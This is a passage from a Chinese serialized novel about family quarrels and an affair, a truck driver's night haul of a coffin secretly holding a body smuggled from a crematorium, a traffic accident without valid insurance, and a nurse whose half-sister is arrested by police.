人的生命是如此的脆弱,在疾病面前显得是如此的渺小。
几名员工分工明确,跑手续的,安抚家属的,忙活了大半天才办好了出院手续。闫安看着主管被抬上120车,也算是见主管最后一面。
望着缓缓离去的救护车,闫安心里一阵失落。
他这下有时间了,他掏出手机给晓雅发了条暗语。
晓雅马上来消息:不方便
闫安看到信息,心里想,应该是给我报喜的时候了。
能把晓雅的儿子直接从学校招走,证明我闫安趴马桶是值得的。你晓雅和我见面后还不好好安抚安抚我?
想到这,闫安笑了笑起动车辆驶离医院。
晓雅一家人回到家后,一场家庭战争爆发了。
老公一进门就嚷嚷:“羞了先人了,弄个啥屁事,读了四年的书读到狗肚子里去了。”
晓雅觉得儿子心情本身就不好,自己心里也不舒服,不要再给儿子压力了,自己虽然也很生气,但现在不是发泄的时候,就责怪老公:“你能不能少说点,没人把你当哑巴!事出来了咱再想办法么,你老埋怨娃能解决问题不?难道你没责任?”
老公把钥匙往沙发上一摔弹在了地上:“你光知道惯你娃!这就是你惯出来的结果!花十几万块钱白撂了!”
儿子没吭声直接进了自己的房间,呯地一声狠狠的把门关上。
看到儿子的举动,晓雅忍不住了:“你越来越得能了,你给谁摔东西哩,个人要有本事何必怨娃哩!不寻个人身上的毛病,老是埋怨别人,这就是你的本事!”
“我就这本事,咋了,我摊下工夫停了车专门等着给报到,谁知道是这结果,丢人死了!”
“那有啥丢人?大不了重找工作。”晓雅拿着手机扶在鞋柜正挨着鞋。
“重找工作,那说到轻松,那容易吗?机会难得!
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机会。再说还要补习,还要钱啦,以为钱是大风刮来的?是我没白没黑苦出来的!花着都不心疼!”
“再疼钱也要看啥事,钱不是你一个人挣的。”
“我一说到你娃你就护他,都护成了弱智了。连自己没毕业都不知道!”
“你说谁弱智?我看你才是弱智,你才是弱智,亏你还是娃他爸 ,你吃了狼粪了说我娃这话哩。你就不配给娃当爸,外面没个球本事,光知道在家里给人挑毛病,我咋遇见你这货色。”
“我咋了,看不上了?”
“我要早知道你现在是这个这怂样子,就听我父母的话不跟你。我也是当初瞎了眼,跟了你这么个货色!自讨苦吃!”
晓雅正说着,手里的手机震了一下,是闫安的暗语,她暗地里骂道,给他发信息他不回,不该发信息的时候却来信息,真没眼色。
她拿着手机佯装进了卫生间,坐在马桶上撒尿,抓紧时间回复了不方便三个字。
“我咋了,少你吃还是少你穿,不是我你们早就饿死了。”老公紧跟着问。
晓雅边从卫生间往出走边说:“你说话真不要脸,我不是娃今天在,真想把你的老底揭开,你以为自己是什么东西,以为离了你我娘俩就活不成,你把自己也高估的上天了,在我眼里你就是个无用的酒馕饭袋!”
两人正在你一言,我一句的争吵着,儿子从房间里出来了:“你俩可真够烦的,最好打一架那才好。”
说完拉开头门摔门而去。
晓雅两口一愣,什么情况?
两人停止了吵架,老公气呼呼的坐在沙发上。晓雅气呼呼进了房间关了门。
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第6章 雪天拉活为生计,路程艰辛坎坷多
晓雅的儿子因没有拿到学位证报到被拒,晓雅和老公大吵一架。
而公公的来电使两人关系缓和,晓雅在厨房边做饭边回想公公对自己的好,而想到婆婆她就觉得同样一个锅里吃饭,为啥婆婆和公公无法定位在一个档次上。
自己当初装修完房子后,搬房的前几天,趁着农活闲的时间,晓雅两口回到老家把家在农村的老两口接来看看新房。
晓雅买这套房子时也是抓住了房价平稳的尾巴,在闫安的鼓动下买了这套房,当时晓雅老公一直给别人开货车到处跑,买房手续全部是晓雅跟闫安一手操办。
做为当时的晓雅总在想着和闫安步入新的婚姻生活,这套房原计划是她和闫安新生活的安身之处,起初并没有告诉老公已经买房之事,直到办完一切手续才告知老公。
晓雅老公还从来没有想过买房之事,在他印象中,买房完全是他一辈子都不考虑,也不敢考虑,考虑不起的一事,没想到妻子竟能让自己亲眼看到写着晓雅名字的1502室,直是喜出望外,佩服妻子。
做梦都没想到自己有了房子了!
当老公问及晓雅哪来这么多的钱时,晓雅淡淡的说:“在娘家凑的,问你要也没得。”
老公心里清白,当时自己手里就是没有一点钱,在家闲了五六年啥事都没有弄成功,还放不下身段去上班挣钱,以至于曾经的老板全靠妻子的上班工资养活。
矛盾的爆发点也在这里,晓雅整天忙得鬼吹火,养活着两个男人,一个是整天谋划干大事的老公,一个是正在上小学的儿子。
繁忙的工作,必干的家务,晓雅的精神一点都不敢松懈,长时间的忙碌和老公的无所事事形成矛盾的开始。
刚开始晓雅也理解老公的苦衷,经营的小货车几乎赔空了所有的家当,让人缓一缓,换个环境或许能有另一个出路,没成想这一缓就缓了五六年,以至于生存有时都成问题。
2001年的时候,给人开出租车的晓雅老公突然提出来自己买卡车当老板,晓雅刚开始并不同意,但看到和老公一同从老家来的老乡大部分都成了大大小小的所谓老板,卖面的,开小卖部的,卖水果的,卖包子的都几乎自己干了,晓雅也慢慢的改变了想法,同意老公买卡车跑运输。
当时两个人手里还是攒了些钱,问公公借了一万五千元便凑够车款买了一辆二手轻卡开始当老板了。
还真不错,活真不少。老公在外面经营着车,晓雅在离家近的工厂上着班,照顾着上学的孩子,日子过得有滋有味。
晓雅老公浑身有使不完的劲,一天东奔西跑,甚是高兴。
都说钱上带着火,烧得人为这把火不停的奔波劳累。
晓雅和老公似乎看到了幸福在向他们走来,他们想要过上的生活马上就要来到。
近两年多的经营,手里存有钱了,生活是如此美好,阳光是如此的灿烂。
随着货源的稳定,两人计划再跑几个月,等攒够钱再买一辆新的车把这辆卖掉。
开车十年好
出事在一秒
开车不专心
秒变苦难身
晓雅清楚地记得0三年的腊月十三日那天,天上一直零零碎碎地飘着雪花。
晓雅老公送完货后本想收车,路过钓鱼市场(各种车辆集中等活的地方)觉得还早,就准备盘个短多挣点。
他开着车在寻找鲜亮的地方准备停车,看见两个头戴火车头棉帽,穿着军
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大衣的人正在和一辆车的司机交谈,他注意到这两个人是因为他们戴的火车头棉帽已经很少见到,除非是从寒冷的地方来,否则现在根本没有人戴这种帽子。
把车停好后,他下车锁门准备吃个饭。他一转身,发现那两个人已走到他面前,一个拍了拍车,问;“泉原去不去?”
晓雅老公知道泉原县属于山区,担心路上冰未消,加上刚看到这两个人和其他司机谈话,估计是没谈成,顺口就说:“平时三百,你看今这天还在下雪,你再加二百,行了就去,不行就算了。”
那两个相互看了一眼,点了点头,拍他车的那个人说:“成交。”
另一个人从大衣内囗袋里掏出一把钱,数了二百递到拍车人的手里。拍车人数了数把钱递到晓雅老公面前:“这是二百,算是订金,剩下的三百货送到结清,咋样?”
晓雅老公接过钱数了一下:“好,二百,还剩三百。”
那人说:“你把手机号给我写下,我到时候给你打电话说到啥地方。”
晓雅老公从车上拿出一本卷起边的收款收据,撕下一张,在背面写了自己的号码递给了那个人。
那人接过纸条数了一下号码数字说了声好着哩,就把纸条装进了口袋:“你现在忙你的,我在个四点到五点左右通知你把车开到啥地方。”
:“行。你提前给我打电话。”
谈好事情以后,两个大戴火车头棉帽子的人就匆匆忙忙走了。
晓雅老公独自坐到面馆后,突然觉得那两个刚走了的人挺奇怪的,自己也真是都没问人家拉什么就答应了,连电话都没留。
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精彩!
第6章 雪地难行车抛锚,巧法解除行路难
当晓雅老公看清周围环境后,才知道车抛锚的地方就在路过火葬场的路上。
真是邪气,不能久呆,晓雅老公原打算看看周围是否找个卫生所之类的地方处理一下额头,现在看到火葬场这种他认为不吉利的地方,直接上了车,缓缓向前驶去。
泛黄的灯光照在堆满雪的路上,就像一张白纸一样,没有任何痕迹。
晓雅老公知道,像这种下雪天气,这个时间段再很少有人出车了,洁白的路上没有任何车辆行驶过的痕迹,像白色的毯子平铺在山路上。
满天飞舞的雪花像飞舞的虫子,飞舞在车灯的光束里。
前面就是土路了,“一定要小心点。”交订金的人提醒着晓雅老公。
晓雅老公抬了一下脚,车速又慢了下来:“这点土路一走完是不是就要翻沟了?”
“就是,所以咱还是慢慢的。”
交订金人说着比晓雅老公还操心专注的盯着前面的路。
“要翻沟了,让我把链子挂上,这会儿感觉路上结冰了,不敢踩刹车,滑的厉害。”晓雅老公说着就慢慢的将车靠边停了下来。
下了车,三个人都站在车旁小便了起来。
“这么冷的天气,把人冻得打尿颤哩 ,狗贼天。”交订金的人埋怨着。
晓雅老公撒完尿,拿起手电筒就在车箱下面的工具箱里找防滑链。
找了半天,就是找不到,他又把工具箱里的工具全部拿出来扔在雪地上,用手电筒照着空无一物的工具箱,啥都没有。
奇怪,我不是一直把链子在这里放的吗,怎么不见了?
会不会在后面的工具箱里呢?
他又来到后面的工具箱处,打开盖子,翻了半天,还是没有。
晓雅老公感到了害怕,这么大的雪,这么滑的冰,要翻这沟无疑是生死考验!
他把地上的工具放到工具箱后上了车。
在车上,他告诉那两个人:“今晚可能翻不了沟,我没带链子。”
那两个人一下子紧张了起来,交订金的那个人说:“你是新手吧,这起码的常用工具你必须要有啊,你到这个节骨眼上给我说没链子,就是拿出来钱,我问你,这个时辰哪儿去找卖家?你真是关键时候掉链子,你现在是想掉根本连链子都没有。你说咋弄?”
“我就是找不到链子才和你商量这事。”
“商量顶屁用,总不能返回去呀!”交订金的人明显是生气了。
看到这阵势,晓雅老公小心翼翼地问:“看能不能明天白天接着跑?”
“亏你想的出,明天?人家黄花菜都凉了。后天人就要下葬,你明天能跟上?”交订金的人大声说着。
在一旁的那个人帮腔道:“雪再这么大的下着,捂上一晚上根本就动不了了,沟里再一上冻,根本没法走,咱不是把主家的事给人家耽误了,这责任谁负的起?”
晓雅老公掏出烟发着,笑着对那两个人说:“就是咱几个再想想办法。”
“现在几点?”交订金人问。
晓雅老公拿起手机看了一下:“八点四十”。
“兵应,风水先生说是几点前要进门?”交订金人扭头问旁边那个人。
兵应想了一下说:“我二伯不是在咱走的时候再三交代时间吗?”
交订金人拍了一下自己的的火车头棉帽:“三点半之前,三点半之前。这会儿头
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都大了。”
正说着手机响了 ,是兵应的。
在驾驶室里,晓雅老公把对话内容听得一清二楚。
电话是在询问车现在走到什么地方了,什么时候能到家,安排亲戚等到什么时候,雪天路滑,确保晚上必须在三点半安全到家。
兵应挂了电话对晓雅老公说:“你都听到了,今天晚上必须要拉到家,亲戚都等着哩。”
晓雅老公没有吭声。
交订金人停了一会说:“再加一百,就是下刀子,咱都要赶回家,师傅行不?”
晓雅老公惊了一下,真是要钱不要命了,心里虽然这么想,但他没敢说出来,而是带商量的口吻:“不是钱,哥,关键就是路有点滑啊,不安全。”
还没等交订金人说话,兵应反驳地说:“咱有在这拌嘴的时间,恐怕都到村口了,你也不要讲困难了,我的意思,趁现在还没有冻实赶紧走。三哥你说哩?”
交订金人从口袋里掏出烟盒,里面只有一根烟,看了看其它两人:“爷啊,把人家过事发的三盒烟都抽完了,还没有把人拉回去,让人笑话咱办事不力啊。”
三哥若有所思地抽了一口烟对晓雅老公说:“我兵应说的你看行不?咱再耽误不起了,今晚咱必须走,要走趁早。如果你对我放心,沟里这段路我来开,我对这沟熟。”
三哥的自告奋勇还把晓雅老公震住了,兵应在一旁附和着:“噢,就是,咱刚咋没想到这个办法。三哥可是在西藏呆了几年的汽车兵。”说完歪着头看着晓雅老公。
晓雅老公想了想,:“哥,这恐怕不合适,咋能辛苦你哩。”
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第6章 棺材板里竟有人,折财伤人祸连连
站在后厢的晓雅老公在盘绳的时候,无意间向棺材看了一眼,吓了一跳。他又仔细看了看,我的妈啊,棺材里竟然躺着一个人!
晓雅老公只觉得头皮发麻,往后一退,竟被乱扔的篷布绊倒在车厢上。
人群中不知谁喊了一声:“把人盖好,把人盖好。”
那几个年轻人又迅速上了车厢七手八脚地把棺材盖子盖上。
当晓雅老公被人们遗忘时,他自己都不知道是如何爬起来的。
这不是在梦里吧?
晓雅老公用右手拧了一下自己的左手,疼。
疼就说明这不是梦,而是活生生的现实!
他杵在那儿待了半天,都不知道人们是如何把棺材抬下车的。他心里一直在想,为什么自己跑了一路,棺材里面有人,那两个押车人只字不提?
原以是棺材板,没想到棺材里面竟然有人,而且自己亲眼所见。
“师傅,师傅。”三哥在喊晓雅老公。
晓雅老公缓过神看着三哥,他觉得三哥的模样是那样的傻白,如同刚看到棺材里的人。
“下来吃饭,下来吃饭。辛苦了,辛苦了。”三哥向晓雅老公招着手。
“我把车上东西装好。”晓雅老公定了定神,心不在焉的整理着篷布。
三哥把晓雅老公安排到一张桌子上,告诉在坐的其他乡邻:“这是司机,一会招呼好,我先忙去了。”
大家七嘴八舌地说:“你忙你的,一定招呼到位。”
要说乡下人还真是实在,每当面端上桌时,都先给晓雅老公面前放一碗,搞得他蛮不好意思。
在吃饭期间,晓雅老公从乡邻的谈论中才知道,这家主人是村里的支书,棺材里是他的老父亲,根据政策规定,老父亲亡故后是要在火葬场火化的。
而神通广大的村支书竟然行贿火葬场工作人员,不知采用什么办法,把父亲的尸体从火葬场搞出来,放入钢构厂早已准备好的棺材里,在不让外人知晓的情况下,运送到老家,按照农村的乡俗准备土葬。
听了大家的议论,晓雅老公肠子都悔青了,自己咋一点都不知道棺材里竟然有人,要知这样,咋都不拉。他心里不时的涌起一种不祥之兆。
吃完饭,晓雅老公找到正在房间里打牌的三哥。
三哥让旁边的小兄弟替他打,跟着晓雅老公出了房间,三哥领着他到了放着肉和菜的房子,三哥给了晓雅老公四百元。
晓雅老公退回一张说“多了。”
三哥没接钱:“我觉着你人也不错,今晚的事不要给任何说,那一百全当封口费了,辛苦你了。”
晓雅老公愣了一下:“三哥你放心,我啥都没有看到,就是这……”
晓雅老公把那一百元捏在手中。
“没事,你拿着,应该的。”三哥很是敞亮:“不说这事了,现在虽然雪停了,我估计你一个人走也操心,是这,我安排人让你住一晚,明天天亮了,敞敞亮亮走,安全。你看,现在都快两点了。”
晓雅老公心里也害怕,这荒郊野外的,也正在犹豫一个人如何回家,正好三哥都替他考虑到了。
三哥把晓雅老公安排住的地方就是村支书开的招待所。
房间里钢炭炉子和自己屋里的一模一样,烧得温度很舒适,晓雅老公洗了把脸,就钻进有电热毯的被窝里,太舒服了。
但他并没有入睡,一想到那棺材盖掉到车厢的景象就不寒而栗。
他心里暗地里发誓,谁再给再多的
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钱都不会接拉棺材的活了。
当晓雅老公醒来时发现天气放晴,太阳照得人睁不开眼。他心情大好,连脸都没洗就准备出发。
晓雅老公刚拉开房门,三哥身后跟着几个人来了。
当他看到晓雅老公时就问:“你啥都好着呢?”
晓雅老公不假思索地说:“好着哩呀?”
“头不疼?不恶心?”三哥问。
晓雅老公摇一摇头:“没啥感觉。”
“那就好,那就好。”
“咋了?”晓雅老公不解的问。
“今早有人煤气中毒了……”跟在三哥身后的一小伙话没说完被三哥白了一眼:“你碎怂话多的很,少皮干!”
他们进了房间,三哥把一张名片递到他手中:“师傅,今天天气好,路一会儿就开了,给你找个回程活,装些苹果拉到你手上人的果行,行不?”
晓雅老公看了看名片上的地址刚好顺路,就同三哥谈好价格开始装车了。
装车时,晓雅老公抱了几箱子感觉很沉,他眼看着装箱子的妇女每箱连二十个苹果都没装下,咋这么沉?
“我的天,这一箱果子比水泥还沉。”晓雅老公说。
装车的男人和装箱的女人都没有吭声,只是个笑。
晓雅老公无意识挪撑开的空箱子时,才感觉到空箱子的非常沉的,他这才知道人们常说的水泥纸箱,砖石纸箱是怎么一回事了。
装完车,吃完饭已经中午一点多了,三哥叮咛晓雅老公安全顺利地把货送到果行。
晓雅老公行驶在泥泞的道路上,虽然大部分的冰都融化了,但在农村的土路上开车还是要特别小心的。
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第6章 频繁出事故,卖车祛邪气
晓雅老公撞到人之后,看到满地的血,第一时间拨打了120。
接下来他就把电话打给投保的保险公司。
保险公司通过保单查询后告诉晓雅老公:“先生,对不起,你的保单已于2004年的1月10日凌晨0时0分过期,也就是说在昨天晚上12点以后你的保单是不起作用的,希望尽快续保。抱歉的通知你,我们无法派人去现场。”
晓雅老公一听这话,气得就想摔手机:“你说什么?我的保单过期了?怎么可能?”
“是的先生,我们系统显示你的保单截止元月十号的十二点以后就不在保险范围之内。”
晓雅老公这才看到保单号上的一行字:保险期间,2023年1月11日00时00分00秒至2004年1月10日00时00分00秒止。
今天十一号,奶奶的腿,不就是上次拉制冷设备自己赔偿了经销商一部分钱吗?那些钱原计划是买保险的,结果妻子看病,修理车子,事一多竟把买保险的一事给忘了。
真是屋漏偏逢连夜雨。
正在晓雅老公往躺在地上的摩托车司机跟前走时,救护车来了。
就在医护人员忙活救治受伤人时,救护车司机小声问晓雅老公:“交警呢?”
“还没顾上报。”晓雅老公说。
“你们私了?”
“啥私了,还没顾得说这个事。”
“那你赶紧叫交警,划分责任,出现场对你有好处。
“我没电话。”
救护车司机给了晓雅老公的事故报警号码。
晓雅老公报了警,不到几分钟,在附近处理其它事故的交警赶到了现场。
现场勘测完后,做了笔录,交警收了晓雅老公的车钥匙,留了电话,让先去医院给受伤人看病,保持手机开机。
晓雅老公跟着120到了医院,先押了2千元。受伤人的诊断结果出来了,右侧两根肋骨断裂,右脚骨折,其它软组织受伤。
晓雅老公彻底崩溃了,原想着自己的速度并不是多快,没想到摩托车司机这么严重!
医院通知马上要手术,再交3万元。
随后而来的受伤人家属把晓雅老公跟前跟后,似乎担心他跑了。
晓雅老公原想问题不大,不想给妻子说,现在没办法了,不告诉晓雅没钱交手术费。
晓雅和她老公的朋友急忙赶到了医院。
在医院里交完钱,受伤家属要了晓雅老公的号码才允许他们离开。
在回家的路上,朋友听了晓雅老公讲的经过,觉得这次事故可能是对他俩最大的打击,但他没有讲出来,只是让晓雅老公明天赶紧到交警队去划分责任。
回到家,晓雅给老公做做饭,安慰着说:“谁都不想出事,事已经出了就要面对现实去解决,只要人没出啥大事,咱有保险公司哩,没有啥可怕的。”
虽然晓雅看似平静的在安慰着老公,但她心里非常非常的窝火,只是现在的情况不能责怪老公半句。
晓雅老公倒责怪晓雅了:“保险公司?保险公司的保单昨晚己过期作废了,不知道你整天操的啥心,保险过期了都不知道。”
“保险过期了?不可能吧?”晓雅停下正洗的菜。
“啥可能不可能的,保险单我都看了,就在昨天晚上十二点以后就失效了。”
“那咋办?”晓雅愣在灶台前望着老公。
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老公没吭声,顺势倒在床上:“唉,咋懂个这烂子事。”
看着懊恼的老公晓雅又问:“那咱现在买能连上不?”
一句话提醒了老公,老公一骨碌坐起拿起手机给保险公司打电话,得到的答复是不管今天几点买保险,规定都是从今天晚上十二点以后才开始生效。
听了这话,老公把手机往床上一扔:“x他妈的!狗X的保险!”说完又躺了下去。
“那你都不知道保险到期了?保险单子不是在车上吗?可怪我哩。”晓雅问。
“我这几天还一直记着这事,就说哪天一买,只记个大体日子,也没顾上看,谁知给你看病,拉货赔钱,修理车子,手里没有几个钱了,不打算问你要,想着跑几趟凑够后一买,谁知道钱没挣够,保险没买成,就出这事了。真是绳子老从细外断,偏偏就在作废的第二天出事,太邪门了。”
“那你咋还不问我要钱哩?”
“唉,我想着这几趟跑下来就够了,就没要。”
“你也太自以为是了,出这么大的事,总比你问我要几千元损失的小啊。”晓雅埋怨了起来。
“你真是个马后炮,我问你,你现在埋怨我起作用吗?不交钱给医院我能现在跟你说话吗?你埋怨我能把病人的骨折埋怨好吗?能把交的钱埋怨回来吗?光是嘴上的功夫!”老公从床上一下蹿起站在晓雅面前喊着。
晓雅把从锅里捞出来的面直接倒在案板上,把筷子一摔:“你一天光知道个瓜跑,不操心,可数落开我了。”
“数落你咋了,你光知道运费一收就交给你,都不想想我到底是专心开车哩还是操这些不上串串的小事?”
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第7章 姐住妹房胡乱搞,双双进了派出所
沈莎莎快到宿舍时,看见宿舍门口的南北路上放着一辆绿颜色的北京吉普车。
她知道外面的车一般是不允许进到职工宿舍的地方的,那这车肯定是有关系的政府机关的车。
当她走到宿舍门口时,发现宿舍门大开着,几名穿绿色制服的男人站在宿舍内,姐姐坐在床上和那几个男人说着话。门两边各站一名工作人员。
发生什么事了?沈莎莎心里一紧。
她想知道这是什么情况?
沈莎莎鼓足勇气刚要进宿舍,一名工作人员立即上前一步用手将她拦在门口不允许进入。
“你们是干啥的?我回我的房子。”沈莎莎说道。
拦她的人朝里面看了一眼,有个领导模样的人点了点头,又来了一名工作人员,她被两名工作人员带到小车旁。
那名工作人员看了看一下周围,转过身对沈莎莎说:“我们是西关派出所的,请你配合我的工作。”
“派出所?”沈莎莎不解地看着工作人员:“我又没犯法,你到我这儿干啥?”
“你宿舍里的那个女人和你是啥关系?”
“她是我姐。”
“你叫什么名字?”
“沈莎莎。”
“你要老实交待,你叫什么名字?”工作人员提高了嗓门。
“就叫沈莎莎,咋了?”
“你姐姐叫什么名字?”
“郭春莎。”沈莎莎脱口而出。
“你姓沈,你姐姓郭,骗小孩呢?”工作人员持怀疑态度。
“我们是同母异父的姐妹。不行吗?”
“噢,原来是这样。”工作人员恍然大悟“你姐姐在哪上班?”
“我不知道。”
“又不说实话了,你不知道你姐在哪上班?”
“我们很少联系,她是前几天刚找到我这儿的。”
正说着,只见姐姐从宿舍里出来了,后面跟着两名男子,他们似乎把姐姐夹在中间,朝小车走来。
看到姐姐,沈莎莎要跑过去,却被工作人员拦住了。
沈莎莎大声问:“姐,你这是咋了嘛?”
郭春莎看到莎莎先是一惊,然后又笑了笑对妹妹说:“没事,照顾好你自己,姐这几天给你添麻烦了。”
“姐,你说这到底是咋回事啊,姐。”沈莎莎哭喊着。
姐姐面无表情的被带上了吉普车,工作人员告诉沈莎莎,有需要还会来的。
望着离去的吉普车,沈莎莎像泄了气的皮球,一下子瘫坐在地上。
她理不出一点头绪来。
这会儿正好是午休时间,很奇怪,没有见到一个左邻右舍看热闹的人,要不就让沈莎莎的脸丢尽了。
沈莎莎锁上宿舍门,骑着自行车来到了吴之玄的办公室。
吴之玄听了沈莎莎的叙述完,惊讶的问“你姐姐为什么被带走的你不知道吗?”
“我真的是一点都不知道,她才回来多长时间呀,我连她从哪儿回来,回来干啥都不知道,咋能知道民警为啥抓她呢?再说了,她几乎就不让我知道任何信息,我下班了她就出去,我上班了她就呆在宿舍里,告诉我什么,让我老觉得自从回来一直都是你说的神神秘秘的样子。”
吴之玄看了看表说:“现在还没上班,等一会儿咱们开车到西关派出所,找我同学打探一下,看所里出啥意见。”
吴之玄和沈莎莎来到西关派出所,找到了自己的同学,同学听了吴之玄的来意后,说他并不知道这回事,便问了姓名出了办公室。
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> 过了一会,同学回来了告诉吴之玄,郭春莎可能是涉嫌皮肉生意并引发刑事案件,目前正在侦办。
吴之玄一愣:“皮肉生意?刑事案件?严重吗?”
沈莎莎不明白皮肉生意是干啥的,就问:“皮肉生意是干啥生意?刑事案件又是啥案件?”
同学看了一眼吴之玄,吴之玄向同学使了个眼色,同学没吭声。
吴之玄对沈莎莎说:“这都是公安术语,咱没必要知道。”
“那我姐啥时候可以放回来?”沈莎莎急切的问。
“这要看具体情况,如果没啥大事,很快就会回去的。”同学说完,吴之玄点了点头。
“噢,那还行。”沈莎莎似乎放心了。
往外走的时候,吴之玄让沈莎莎先上了车,自己和同学单独站在院子说了一会儿话,沈莎莎在车上什么都听不到,只有两人告别时听到吴之玄的一句,改天请你喝酒!
从派出所出来,吴之玄的心里五味杂陈,沈莎莎的姐姐咋能是那样的人?还涉嫌刑事案件?到底是什么样事竟和刑事两个字牵扯上了?如果真如同学说的有刑事案件坐实的话,那可不是简单的事,弄不好得坐牢,估计捞人根本不可能。
想到这里,吴之玄深感沈莎莎姐的身份如此神秘,以至于沈莎莎都对她的情况知之甚少。
目前趁沈莎莎对皮肉生意和刑事案件的不了解,那就将错就错,不要给她解释。吴之玄唯一能做到的就是先安抚她。
“咱刚也去了,你也了解了,至于你姐那里真有事没事只有公安调查了,你我着急也没用,咱先把心放在肚子里,安心上咱的班,待结果
出来了咱再说咋办?你看这样安排行不?”
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第7章 姐姐指认现场,妹妹昏倒不醒
正在医院门口犹豫的沈莎莎被同事看到惊讶的喊:“莎姐,你咋还在这里呀,快到你房间看看,来了好多警察,有个戴铐子的女人。”
沈莎莎赶紧到了职工宿舍。
好家伙,路旁放着两辆吉普车,所有的公安人员都戴着大檐帽,场面严肃,令人生畏。
沈莎莎看到了医院的保卫科长正站在人群前面,看到沈莎莎后,用右手轻轻向左摆了摆手,沈莎莎明白了,这是示意自己不要靠近。她恨不得找个地缝钻进去,多么丢人现眼的事呀!
沈莎莎站在人群后面,看见房间里的姐姐戴着手铐,几名警察把她押在中间,正在给警察指着床下面。
沈莎莎心里一惊,她想起那把水果刀就在床下的高跟鞋鞋盒子里,自己还没顾得扔。她多么希望警察找不见那只鞋盒子,可自己却把那东西图自己方便,放在太显眼位置了,顺着姐姐手指的方向,警察第一眼就看到了那只鞋盒子,从里面取出了没有任何包装的,擦得干净的水果刀。
姐姐看到警察拿出的水果刀时犹豫了一下,似乎摇了摇头。沈莎莎想,姐姐肯定是没想到水果刀在鞋盒子里,更不会想到水果刀是如此的干净!
警察又询问姐姐当时在哪发生关系的,姐姐指了指床:“床单不是这颜色,谁已换过了。”
“换过的床单呢?”警察问。
姐姐茫然地摇了摇头。
警察在房间里到处细细的看着,把有血渍的地方取证拍照。一名警察把洗衣机盖子掀起来,抽出塞在里面的床单问:“你仔细看看是不是这个床单?”
姐姐走近看了看,点了点头。
几名警察把床单拉开看了看:“血迹被洗过了。”
领导模样的人说带回局里。
正在警察在房间里取证时,医院工会主席来了,他四周环视了一下,看到了站在人群中的沈莎莎,他走了过去,见工会主席朝自己走来,沈莎莎心里一紧张,眼前一黑,什么都不知道了。
当沈莎莎醒来时看见自己竟躺在病床上,床边放着吊瓶正在输液。
她脑海里还是工会主席向她走来的情景,她努力的回忆着,但什么也想不起。
“你醒了?”
沈莎莎惊了一下,没想到吴之玄竟在旁边的病床上坐着。
“你咋在这?”沈莎莎问。
“我从山里回来了闫安说你把车子推走了,担心你心里有负担,就来了,到宿舍没见到你人,门卫说下午来了许多警察把你吓晕了,最后才打听到你在这里,我让医院安排的陪床的小女娃走了,我陪你。”
“唉,你看这事闹得满城风雨的,我都不好意思见你了。”沈莎莎抱歉地说。
“咋能说这话,你也太客气了,说这话也没把我当自己人哟。”
“肯定是自己人,只是我这个姐太不让人省心了。”
吴之玄坐在沈莎莎的病床前,拉着她的手抚摸着:“各人有各人的活法,如果真是她惹下的烂子,她的罪她自己受,任何人是替代不了的。”
沈莎莎听了他的话,把头枕在吴之玄的腿上:“那个宿舍我是一点都不想去了。”
“我也有同感。”吴之玄用手捋着莎莎的头发:“明天我在外面给你租个房子吧?”
“估计不好租。敢不敢住到你屋里”沈莎莎大胆的问。
吴之玄马上停下捋头发的手:“你疯了,马上她就三周年了,你现在住进去人家咋看
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我,再说咱现在不是还在外面找人不认识的地方吗?”
“你还说带我去看那地方,都没时间去。”沈莎莎爬了起来。
吴之玄赶紧用手去扶:“小心小心。”
沈莎莎看了一眼他:“没事,我能掂量来。”
吴之玄也看了她一眼笑着说:“你是病人嘛。”
“啥病人,我的哥哥。”沈莎莎说着顺便在吴之玄的脸上亲了一口:“还真把我当病人了,我没啥不好的感觉。”
吴之玄惊讶地看了她一眼,用手在自己脸上摸了一下,甜蜜的笑了起来。
沈莎莎让吴之玄坐在床头,她躺在吴之玄怀里:“今天把那地方定好了吗?”
“定好了,出奇的顺利,就是要委屈你一段时间。”吴之玄小声说。
“为心上男人生孩子是女人的本分,我不觉着委屈,而是幸福。”
沈莎莎的这句话把吴之玄感动得无话可说,他低下头用自己的嘴巴堵在了沈莎莎的嘴巴上。
一阵意乱情迷,一阵心跳加速,正在两人缠绵不休时,沈莎莎无意感到右手上扎的针,她一看吊瓶忙喊,妈呀,针完了。
吴之玄赶忙跑到护士站,过了一会儿,护士把吊瓶又给挂上了:“莎姐,你自己挂针还犯这低级错误?”
沈莎莎不好意思地说:“睡过头了。我还有几瓶?”
“今天的完了,不知明天主任咋安排?”护士小姐姐看着吊瓶里的液体。
“今天麻烦我艳儿了,改天姐请你吃凉粉。”沈莎莎笑着对护士说。
“不麻烦,应该的,姐,但凉粉我一定要吃。”
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第7章 保住饭碗为户口,姐姐无业被人盯
沈莎莎首先想到的是工会主席的办公室。
工会就是咱职工的娘家人。对,先去找娘家人。
敲开了工会主席的办公室门,工会主席告诉沈莎莎今天的安排变了,让她再休养一天,明天早上九点准时到综合办公室开会。
沈莎莎知道,自己一个再普通不过的护士能被工会主席通知开会,一定是姐姐的事,否则她很可能一辈子都不知道工会主席办公室长的啥模样。
按院里的要求,沈莎莎被安排继续挂吊瓶,再休养一天。
躺在病床上的沈莎莎觉得自己身体各方面没有什么不适,认为挂诊完全是没有必要,况且前天晕倒被紧急抢救,根本不知道挂的什么液体。
沈莎莎突然害怕了起来,自己在抢救之中是否被医院检查出了有身孕?
如果被院里知道这件事,那可能都在医院里待下去了,姐姐被公安带走,又被民警铐着来宿舍,自己还被查出有身孕,许多不能解释的事全都集中在一起,这对姐妹咋回事?
所有的怀疑和不解肯定是影响自己在医院的声誉的。
唉,做人难,做女人更难!
“哎,你是医院的?”旁边床上的病人问。
沈莎莎的思绪被问声打断。
沈莎莎回头看了一下那位病人,她正盘腿坐在床中间。
“你咋知道?”莎莎问。
那女的看了一下挂在架子上的液体:“刚才给你扎针的护士不是管你叫姐吗?她不是问你需要到宿舍取什么东西吗?我猜的。”
“算是吧。”沈莎莎应付着。
“听说你医院职工宿舍前几天差点出了人命案,你知道人是不是死了?”
听到问话,沈莎莎没好气的说:“你现在是要先知道你自己为什么在这里来挂针?至于你问的事我不知道!”
看到沈莎莎没带好气的回答,那女的连忙说不问不问,随口说说。
沈莎莎不再理会那个女的,她不想听到与那件事有关的任何消息。
打完匍匐糖水,沈莎莎没有回到自己的的宿舍,直接去了吴之玄的办公室。
她告诉吴之玄明天要开会的事情,担心问及姐姐的事。
吴之玄说:“你姐姐的事和你没有任何关系,你也什么都不知道,害怕啥?无非就是强调一下对你们的管理之类的事,你要确保自己的的公职不能丢。”
吴之玄的话提醒了沈莎莎,她只发愁整个医院从上到下都知道自己和姐姐都被请的派出所太丢人了,从未想到自己的公职是否或许遭到挑战。
